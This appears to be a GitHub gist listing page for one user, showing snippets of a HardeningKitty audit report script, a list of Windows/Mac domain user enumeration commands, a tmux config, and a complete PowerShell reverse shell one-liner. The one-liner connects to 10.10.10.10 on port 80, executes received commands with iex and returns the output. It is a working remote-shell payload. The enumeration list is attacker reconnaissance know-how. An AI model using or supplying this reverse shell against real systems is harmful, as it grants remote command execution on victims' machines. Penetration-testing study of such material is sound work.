Skip to content

Instantly share code, notes, and snippets.

@h4n0sh1
h4n0sh1 / hardeningkitty_report.ps1
Last active August 22, 2024 14:48
HardeningKitty - Quick report
[CmdletBinding()]
param(
[Parameter(Mandatory=$False,
HelpMessage="Optional Select FindingList")]
[String]$findingList
)
Import-Module .\HardeningKitty.psd1
if($PSBoundParameters.ContainsKey('findingList')){
$mode=$findinglist.trim()
@h4n0sh1
h4n0sh1 / Domain Enumeration Commands
Created January 12, 2021 21:44 — forked from its-a-feature/Domain Enumeration Commands
Common Domain Enumeration commands in Windows, Mac, and LDAP
Domain: TEST.local
User Enumeration:
Windows:
net user
net user /domain
net user [username]
net user [username] /domain
wmic useraccount
Mac:
dscl . ls /Users
@h4n0sh1
h4n0sh1 / tmux.conf
Created January 12, 2021 00:56
Spicy waterfall
#The simpler, the deadlier.
# Session cycling
bind p switch-client -p
bind n switch-client -n
# Clear
bind -n C-e send-keys 'C-l'
# Fashion v1ct1m
@h4n0sh1
h4n0sh1 / powershell_reverse_shell.ps1
Created November 17, 2020 20:36 — forked from egre55/powershell_reverse_shell.ps1
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()